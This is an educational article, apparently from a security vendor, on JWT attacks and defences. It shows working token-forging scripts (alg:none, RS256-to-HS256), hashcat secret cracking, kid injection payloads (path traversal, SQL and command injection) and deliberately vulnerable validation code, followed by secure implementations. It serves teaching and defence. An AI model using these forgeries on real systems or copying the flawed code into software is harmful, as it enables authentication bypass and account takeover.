#
JWT (JSON Web Token) Attacks: The Forged Credential Attack
JWT attacks exploit vulnerabilities in how JSON Web Tokens are generated, validated, and processed, allowing attackers to forge tokens, escalate privileges, or bypass authentication entirely.
In One Sentence: Tricking applications into accepting fake or modified authentication tokens by exploiting weak JWT implementations.
Danger Level: CRITICAL
JWT attacks can lead to complete authentication bypass, privilege escalation, and unauthorized access to any user account.
#
What is JWT?
#
Understanding JSON Web Tokens
A JWT is a compact, URL-safe token used for authentication and information exchange. It consists of three parts:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
Header.Payload.Signature
{
"alg": "HS256",
"typ": "JWT"
}
Specifies the algorithm used for signing.
{
"sub": "1234567890",
"name": "John Doe",
"role": "user",
"iat": 1516239022
}
Contains the claims (user data).
HMACSHA256(
base64UrlEncode(header) + "." +
base64UrlEncode(payload),
secret
)
Cryptographic signature to verify integrity.
#
Real-World Analogy: The Stamped Passport
The Passport System
Normal JWT:
- Government (server) issues passport (JWT)
- Passport has your photo and details (payload)
- Special stamp/signature proves it's authentic (signature)
- Border control checks stamp before entry (validation)
JWT Attack:
- Forger creates fake passport with "Diplomat" status
- Changes the stamp verification process
- Border control accepts fake passport
- Attacker gets VIP access they shouldn't have
#
Types of JWT Attacks
#
1. Algorithm Confusion (alg: none)
CRITICAL VULNERABILITY
What it is: Removing the signature requirement by changing algorithm to "none".
Vulnerable validation:
// VULNERABLE CODE
function verifyToken(token) {
const decoded = jwt.decode(token, {complete: true});
if (decoded.header.alg === 'none') {
return decoded.payload; // DANGEROUS!
}
return jwt.verify(token, secret);
}
Attack:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.
eyJ1c2VyIjoiam9obiIsInJvbGUiOiJ1c2VyIn0.
[signature]
Header: {"alg": "HS256", "typ": "JWT"}
Payload: {"user": "john", "role": "user"}
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.
eyJ1c2VyIjoiam9obiIsInJvbGUiOiJhZG1pbiJ9.
Header: {"alg": "none", "typ": "JWT"}
Payload: {"user": "john", "role": "admin"}
No signature required!
Impact
Attacker can create any token with any claims without knowing the secret key!
#
2. Algorithm Substitution (RS256 to HS256)
CRITICAL VULNERABILITY
The confusion: RS256 uses public/private key pair, HS256 uses shared secret.
Vulnerable scenario:
# Server expects RS256 (public key verification)
# But attacker switches to HS256 (symmetric key)
# Attacker knows the public key (it's public!)
# Uses public key as the HS256 secret
# Server validates with same public key
# Attack succeeds!
Attack steps:
# Public keys are often available
curl https://api.example.com/.well-known/jwks.json
import jwt
# Use public key as HS256 secret
public_key = """-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhki...
-----END PUBLIC KEY-----"""
payload = {
"user": "attacker",
"role": "admin" # Escalate privileges
}
# Sign with HS256 using PUBLIC key as secret
token = jwt.encode(payload, public_key, algorithm='HS256')
curl https://api.example.com/admin \
-H "Authorization: Bearer [forged_token]"
# Server uses public key to verify HS256
# Signature is valid!
# Attacker gets admin access
#
3. Weak Secret Keys
HIGH SEVERITY
The problem: Using easily guessable secrets.
Common weak secrets:
secret
password
123456
jwt_secret
myappsecret
[app_name]_secret
Attack with hashcat:
# Extract JWT from request
JWT="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiam9obiJ9.xyz"
# Crack the secret
hashcat -m 16500 jwt.txt wordlist.txt
# Common wordlists
hashcat -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt
# Once cracked, forge any token
#
4. Missing Signature Verification
CRITICAL VULNERABILITY
Vulnerable code:
# VULNERABLE - Only decodes, doesn't verify
import jwt
def validate_token(token):
# DANGEROUS: No verification!
decoded = jwt.decode(token, options={"verify_signature": False})
return decoded
# Attacker can create any token
// VULNERABLE
const jwt = require('jsonwebtoken');
function validateToken(token) {
// DANGEROUS: No verification!
const decoded = jwt.decode(token);
return decoded;
}
<?php
// VULNERABLE
use Firebase\JWT\JWT;
function validateToken($token) {
// DANGEROUS: No verification!
$decoded = JWT::decode($token, null, ['HS256']);
return $decoded;
}
?>
#
5. JWT Confusion with JWK
HIGH SEVERITY
Attack: Embedding malicious JWK (JSON Web Key) in token header.
{
"alg": "RS256",
"typ": "JWT",
"jwk": {
"kty": "RSA",
"n": "attacker_public_key_here",
"e": "AQAB"
}
}
If server validates using embedded JWK:
- Attacker provides their own key in token
- Server uses attacker's key to verify
- Signature is valid (signed with attacker's private key)
- Authentication bypassed!
#
6. Kid (Key ID) Injection
HIGH SEVERITY
Vulnerable code:
# VULNERABLE
def verify_token(token):
header = jwt.get_unverified_header(token)
kid = header['kid'] # Key ID from token
# DANGEROUS: Uses kid from untrusted token
key = open(f'/keys/{kid}').read()
return jwt.decode(token, key, algorithms=['RS256'])
Attacks:
{
"alg": "RS256",
"kid": "../../etc/passwd"
}
// Server tries to open /keys/../../etc/passwd
// Uses /etc/passwd as verification key!
{
"alg": "RS256",
"kid": "key1' OR '1'='1"
}
// If kid used in SQL query:
// SELECT key FROM keys WHERE id = 'key1' OR '1'='1'
{
"alg": "RS256",
"kid": "key1; whoami"
}
// If kid used in system command
#
Real-World Examples
#
1. Auth0 Algorithm Confusion (2015)
CVE-2015-9235
Vulnerability: RS256 to HS256 confusion
Impact:
- Multiple libraries affected
- Complete authentication bypass
- Responsible disclosure, patches released
#
2. Okta Token Validation Bug (2017)
High Severity
Issue: Missing signature validation in certain conditions
Impact:
- Enterprise SSO compromise
- Quick patch deployed
- No known exploits in wild
#
3. Critical JWT Libraries (2018-2020)
Multiple CVEs
Affected libraries:
node-jsonwebtoken- Algorithm confusionpyjwt- Weak validationjose- Multiple issues
#
How to Detect JWT Vulnerabilities
#
Manual Testing Checklist
- Test
alg: noneattack - Test RS256 to HS256 confusion
- Attempt to modify payload without signature
- Test with weak secrets (secret, password, 123456)
- Check for kid header injection
- Test token expiration (
expclaim) - Modify user/role claims
- Test with malformed tokens
- Check for sensitive data in payload
- Test cross-user token reuse
#
Testing Tools
# Install
pip3 install pyjwt
# Automated testing
python3 jwt_tool.py [TOKEN] -M at
# Test specific attacks
python3 jwt_tool.py [TOKEN] -X a # alg: none
python3 jwt_tool.py [TOKEN] -X k # kid injection
python3 jwt_tool.py [TOKEN] -C -d wordlist.txt # crack secret
1. Install "JSON Web Token Attacker"
2. Intercept JWT in request
3. Right-click → Extensions → JWT Attacker
4. Test various attacks automatically
import jwt
import base64
import json
# Original token
token = "eyJhbG..."
# Decode without verification
header, payload, signature = token.split('.')
# Decode header
decoded_header = json.loads(base64.b64decode(header + '=='))
print(f"Algorithm: {decoded_header['alg']}")
# Decode payload
decoded_payload = json.loads(base64.b64decode(payload + '=='))
print(f"Claims: {decoded_payload}")
# Test 1: Change algorithm to none
header_none = base64.b64encode(json.dumps({
"alg": "none",
"typ": "JWT"
}).encode()).decode().rstrip('=')
modified_payload = base64.b64encode(json.dumps({
**decoded_payload,
"role": "admin"
}).encode()).decode().rstrip('=')
malicious_token = f"{header_none}.{modified_payload}."
print(f"Test token: {malicious_token}")
#
How to Prevent JWT Attacks
#
Prevention Strategy 1: Strong Validation
ESSENTIAL
Secure Implementation
Always verify signatures and validate all claims properly.
import jwt
from datetime import datetime, timedelta
SECRET_KEY = 'your-256-bit-secret-key-here'
ALGORITHM = 'HS256'
ALLOWED_ALGORITHMS = ['HS256'] # Whitelist only
def create_token(user_id, role):
"""Create secure JWT token"""
payload = {
'user_id': user_id,
'role': role,
'exp': datetime.utcnow() + timedelta(hours=1),
'iat': datetime.utcnow(),
'iss': 'your-app.com' # Issuer
}
return jwt.encode(payload, SECRET_KEY, algorithm=ALGORITHM)
def verify_token(token):
"""Securely verify JWT token"""
try:
payload = jwt.decode(
token,
SECRET_KEY,
algorithms=ALLOWED_ALGORITHMS, # Only allow HS256
options={
'verify_signature': True, # MUST verify
'verify_exp': True, # Check expiration
'verify_iat': True, # Check issued at
'require_exp': True, # Require exp claim
'require_iat': True # Require iat claim
},
issuer='your-app.com' # Verify issuer
)
return payload
except jwt.ExpiredSignatureError:
raise ValueError("Token expired")
except jwt.InvalidTokenError:
raise ValueError("Invalid token")
const jwt = require('jsonwebtoken');
const SECRET_KEY = 'your-256-bit-secret-key-here';
const ALGORITHM = 'HS256';
function createToken(userId, role) {
const payload = {
userId,
role,
iss: 'your-app.com'
};
return jwt.sign(payload, SECRET_KEY, {
algorithm: ALGORITHM,
expiresIn: '1h'
});
}
function verifyToken(token) {
try {
const payload = jwt.verify(token, SECRET_KEY, {
algorithms: [ALGORITHM], // Whitelist algorithm
issuer: 'your-app.com',
maxAge: '1h'
});
return payload;
} catch (err) {
if (err instanceof jwt.TokenExpiredError) {
throw new Error('Token expired');
}
throw new Error('Invalid token');
}
}
module.exports = { createToken, verifyToken };
#
Prevention Strategy 2: Use Strong Secrets
CRITICAL
import secrets
# Generate cryptographically strong secret
secret = secrets.token_urlsafe(32)
# Output: 'dGhpcyBpcyBhIHZlcnkgc2VjcmV0IGtleQ'
# Minimum 256 bits (32 bytes)
# Store in environment variable, never in code!
Secret requirements:
JWT_SECRET=generate-with-secrets-module-minimum-256-bits
JWT_ALGORITHM=HS256
JWT_EXPIRATION=3600
import os
from dotenv import load_dotenv
load_dotenv()
SECRET_KEY = os.getenv('JWT_SECRET')
if not SECRET_KEY or len(SECRET_KEY) < 32:
raise ValueError("JWT_SECRET must be at least 32 characters")
#
Prevention Strategy 3: Algorithm Whitelist
ESSENTIAL
# Define allowed algorithms
ALLOWED_ALGORITHMS = ['HS256'] # or ['RS256'] for asymmetric
def verify_token(token):
# Explicitly check algorithm
header = jwt.get_unverified_header(token)
if header.get('alg') not in ALLOWED_ALGORITHMS:
raise ValueError(f"Algorithm {header.get('alg')} not allowed")
# Only then verify
return jwt.decode(
token,
SECRET_KEY,
algorithms=ALLOWED_ALGORITHMS
)
#
Prevention Strategy 4: Proper RS256 Implementation
FOR ASYMMETRIC KEYS
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.backends import default_backend
import jwt
# Load keys properly
with open('private_key.pem', 'rb') as f:
private_key = serialization.load_pem_private_key(
f.read(),
password=None,
backend=default_backend()
)
with open('public_key.pem', 'rb') as f:
public_key = serialization.load_pem_public_key(
f.read(),
backend=default_backend()
)
def create_token(user_id):
payload = {'user_id': user_id, 'exp': ...}
return jwt.encode(payload, private_key, algorithm='RS256')
def verify_token(token):
# NEVER accept HS256 when expecting RS256
try:
return jwt.decode(
token,
public_key,
algorithms=['RS256'] # ONLY RS256
)
except jwt.InvalidAlgorithmError:
raise ValueError("Invalid algorithm")
#
Prevention Strategy 5: Validate Kid Header Safely
IF USING KID
import re
ALLOWED_KIDS = {
'key1': '/path/to/key1.pem',
'key2': '/path/to/key2.pem'
}
def get_key_from_kid(kid):
"""Safely get key from kid parameter"""
# Whitelist validation
if kid not in ALLOWED_KIDS:
raise ValueError("Invalid kid")
# Additional validation: alphanumeric only
if not re.match(r'^[a-zA-Z0-9_-]+$', kid):
raise ValueError("Invalid kid format")
key_path = ALLOWED_KIDS[kid]
# Use absolute paths only
if not os.path.isabs(key_path):
raise ValueError("Invalid key path")
with open(key_path, 'r') as f:
return f.read()
def verify_token_with_kid(token):
header = jwt.get_unverified_header(token)
kid = header.get('kid')
key = get_key_from_kid(kid)
return jwt.decode(token, key, algorithms=['RS256'])
#
Prevention Strategy 6: Short Expiration Times
DEFENSE IN DEPTH
from datetime import datetime, timedelta
def create_token(user_id):
payload = {
'user_id': user_id,
'exp': datetime.utcnow() + timedelta(minutes=15), # Short life
'iat': datetime.utcnow()
}
return jwt.encode(payload, SECRET_KEY, algorithm='HS256')
# Implement refresh token pattern
def create_refresh_token(user_id):
payload = {
'user_id': user_id,
'type': 'refresh',
'exp': datetime.utcnow() + timedelta(days=7)
}
return jwt.encode(payload, REFRESH_SECRET, algorithm='HS256')
#
Complete Secure Example
# secure_jwt.py
import jwt
import os
from datetime import datetime, timedelta
from functools import wraps
from flask import request, jsonify
class JWTManager:
def __init__(self):
self.secret = os.getenv('JWT_SECRET')
self.algorithm = 'HS256'
self.allowed_algorithms = ['HS256']
self.issuer = 'your-app.com'
self.token_expiration = 900 # 15 minutes
if not self.secret or len(self.secret) < 32:
raise ValueError("JWT_SECRET must be at least 32 characters")
def create_token(self, user_id, role='user'):
"""Create secure JWT token"""
now = datetime.utcnow()
payload = {
'user_id': user_id,
'role': role,
'iat': now,
'exp': now + timedelta(seconds=self.token_expiration),
'iss': self.issuer
}
return jwt.encode(payload, self.secret, algorithm=self.algorithm)
def verify_token(self, token):
"""Verify and decode JWT token"""
try:
# First check algorithm in header
header = jwt.get_unverified_header(token)
if header.get('alg') not in self.allowed_algorithms:
raise jwt.InvalidAlgorithmError("Algorithm not allowed")
# Verify token
payload = jwt.decode(
token,
self.secret,
algorithms=self.allowed_algorithms,
issuer=self.issuer,
options={
'verify_signature': True,
'verify_exp': True,
'verify_iat': True,
'require_exp': True,
'require_iat': True,
'verify_iss': True
}
)
return payload
except jwt.ExpiredSignatureError:
raise ValueError("Token has expired")
except jwt.InvalidTokenError as e:
raise ValueError(f"Invalid token: {str(e)}")
def require_auth(self, f):
"""Decorator to require valid JWT"""
@wraps(f)
def decorated_function(*args, **kwargs):
auth_header = request.headers.get('Authorization')
if not auth_header:
return jsonify({'error': 'Missing authorization header'}), 401
try:
scheme, token = auth_header.split()
if scheme.lower() != 'bearer':
raise ValueError("Invalid authentication scheme")
payload = self.verify_token(token)
request.current_user = payload
return f(*args, **kwargs)
except ValueError as e:
return jsonify({'error': str(e)}), 401
return decorated_function
# Usage
jwt_manager = JWTManager()
@app.route('/api/protected')
@jwt_manager.require_auth
def protected_route():
user_id = request.current_user['user_id']
return jsonify({'message': f'Hello user {user_id}'})
#
Summary: Key Takeaways
Verify Signatures Always validate JWT signatures Algorithm Whitelist Only allow specific algorithms Strong Secrets Use 256-bit+ random secrets Validate Claims Check exp, iat, iss claims Short Expiration Use 15-minute token lifetimes Refresh Tokens Implement refresh token pattern Secure Kid Whitelist kid values if used
#
Additional Resources
#
Tools
- JWT_Tool - Python-based JWT testing
- jwt.io - Online JWT decoder/encoder
- Burp JWT Attacker - Automated testing
#
References
- RFC 7519 - JWT specification
- OWASP JWT Cheat Sheet - Security best practices
- Auth0 Blog - JWT security articles
#
Layerd AI Protection
JWT Validation Automatic detection of weak/missing validation Algorithm Analysis Identifies algorithm confusion attempts Token Monitoring Detects forged or manipulated tokens Real-time Blocking Prevents JWT-based attacks instantly
Learn more about Layerd AI Protection →
Last updated: November 2025